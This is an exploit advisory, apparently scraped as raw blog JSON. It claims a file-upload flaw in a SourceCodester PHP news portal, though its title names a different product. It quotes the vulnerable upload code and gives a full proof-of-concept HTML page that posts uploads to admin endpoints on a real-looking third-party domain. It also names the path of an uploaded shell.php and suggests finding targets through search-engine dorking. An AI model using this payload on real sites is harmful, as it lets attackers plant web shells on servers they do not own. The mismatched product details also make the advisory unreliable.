=============================================================================================================================================
| # Title : Event Registration and Attendance System 1.0 wysiwyg code injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 128.0.3 (64 bits) |
| # Vendor : https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/online-news-portal.zip |
=============================================================================================================================================<\/p>\n
poc :<\/p>\n[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n[+] infected item : admin_class.php<\/p>\n
$data .= “, content = ‘”.htmlentities(str_replace(“‘”,”’”,$content)).”‘ “;
if(!empty($_FILES[‘cover’][‘tmp_name’])){
$fname = strtotime(date(“Y-m-d H:i”)).”_”.(str_replace(” “,”-“,$_FILES[‘cover’][‘name’]));
$move = move_uploaded_file($_FILES[‘cover’][‘tmp_name’],’..\/assets\/uploads\/content_images\/’. $fname);
$protocol = strtolower(substr($_SERVER[“SERVER_PROTOCOL”],0,5))==’https’?’https’:’http’;
$hostName = $_SERVER[‘HTTP_HOST’];
$path =explode(‘\/’,$_SERVER[‘PHP_SELF’]);
$currentPath = ‘\/’.$path[1];
if($move){
$data .= “, cover_img=’$fname’ “;
}
}<\/p>\n[+] Line 27 : Set your target url.<\/p>\n[+] This payload is WYSIWYG based The page can be edited remotely and a malicious executable file can be uploaded ,via summernote is a WYSIWYG editor V: 0.8.18.<\/p>\n[+] save payload as poc.html <\/p>\n[+] payload : <\/p>\n
<!DOCTYPE html>
<html lang=”en”>
<head>
<meta charset=”UTF-8″>
<meta name=”viewport” content=”width=device-width, initial-scale=1.0″>
<title>Manage About Page<\/title>
<!– Include Summernote CSS and jQuery –>
<link href=”https:\/\/stackpath.bootstrapcdn.com\/bootstrap\/4.5.2\/css\/bootstrap.min.css” rel=”stylesheet”>
<link href=”https:\/\/cdnjs.cloudflare.com\/ajax\/libs\/summernote\/0.8.18\/summernote-bs4.min.css” rel=”stylesheet”>
<script src=”https:\/\/code.jquery.com\/jquery-3.5.1.min.js”><\/script>
<script src=”https:\/\/stackpath.bootstrapcdn.com\/bootstrap\/4.5.2\/js\/bootstrap.bundle.min.js”><\/script>
<script src=”https:\/\/cdnjs.cloudflare.com\/ajax\/libs\/summernote\/0.8.18\/summernote-bs4.min.js”><\/script>
<\/head>
<body>
<div class=”container mt-5″>
<div class=”col-lg-12″>
<div class=”card card-outline card-primary”>
<div class=”card-body”>
<form action=”” id=”manage-about”>
<div class=”form-group”>
<textarea name=”content” id=”content” cols=”30″ rows=”10″ class=”summernote2 form-control”>
<p style=”margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; color: rgb(0, 0, 0); font-family: ‘Open Sans’, Arial, sans-serif; font-size: 14px;”>indoushka.<\/p>
<\/textarea>
<\/div>
<\/form>
<\/div>
<div class=”card-footer border-top border-info”>
<div class=”d-flex w-100 justify-content-center align-items-center”>
<button class=”btn btn-flat bg-gradient-primary mx-2″ form=”manage-about”>Save<\/button>
<\/div>
<\/div>
<\/div>
<\/div>
<\/div><\/p>\n
<script>
$(document).ready(function(){
\/\/ Initialize Summernote Editor
$(‘.summernote2’).summernote({
height: 300,
toolbar: [
[‘style’, [‘style’]],
[‘font’, [‘bold’, ‘italic’, ‘underline’, ‘strikethrough’, ‘superscript’, ‘subscript’, ‘clear’]],
[‘fontname’, [‘fontname’]],
[‘fontsize’, [‘fontsize’]],
[‘color’, [‘color’]],
[‘para’, [‘ol’, ‘ul’, ‘paragraph’, ‘height’]],
[‘table’, [‘table’]],
[‘insert’, [‘link’, ‘picture’]],
[‘view’, [‘undo’, ‘redo’, ‘fullscreen’, ‘codeview’, ‘help’]]],
callbacks: {
onImageUpload: function(files) {
saveImg(files[0]); \/\/ Handle image upload
}
}
});<\/p>\n
\/\/ Function to save uploaded image
function saveImg(_file) {
var data = new FormData();
data.append(“file”, _file);
$.ajax({
data: data,
type: “POST”,
url: “http:\/\/www.news.witnessradio.org\/admin\/ajax.php?action=save_image”,
cache: false,
contentType: false,
processData: false,
success: function(resp) {
var image = $(‘<img>’).attr(‘src’, resp);
$(‘.summernote2’).summernote(“insertNode”, image[0]);
}
});
}
});<\/p>\n
\/\/ Form Submission
$(‘#manage-about’).submit(function(e) {
e.preventDefault();
start_load(); \/\/ Start a loading indicator (you need to define this function)
$.ajax({
url: ‘http:\/\/www.news.witnessradio.org\/admin\/ajax.php?action=save_about’,
data: new FormData($(this)[0]),
cache: false,
contentType: false,
processData: false,
method: ‘POST’,
type: ‘POST’,
success: function(resp) {
if(resp == 1) {
alert_toast(‘Data successfully saved’, “success”);
end_load(); \/\/ End the loading indicator (you need to define this function)
}
}
});
});<\/p>\n
\/\/ Optional: Define start_load and end_load functions
function start_load() {
\/\/ Add your loading indicator logic here
}<\/p>\n
function end_load() {
\/\/ Remove your loading indicator logic here
}<\/p>\n
function alert_toast(message, type) {
alert(message); \/\/ Basic alert. Replace with a better toast notification if needed.
}
<\/script>
<\/body>
<\/html><\/p>\n[+] path of evil : http:\/\/127.0.0.1\/news_portal\/assets\/uploads\/content_images\/shell.php<\/p>\n
Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"
=============================================================================================================================================| # Title : Event Registration and Attendance System 1.0 wysiwyg code injection Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 128.0.3 (64 bits) || # Vendor : https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/online-news-portal.zip |============================================================================================================================================= poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] infected item : …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59028","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59028","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59028"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59028\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59028"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59028"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59028"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}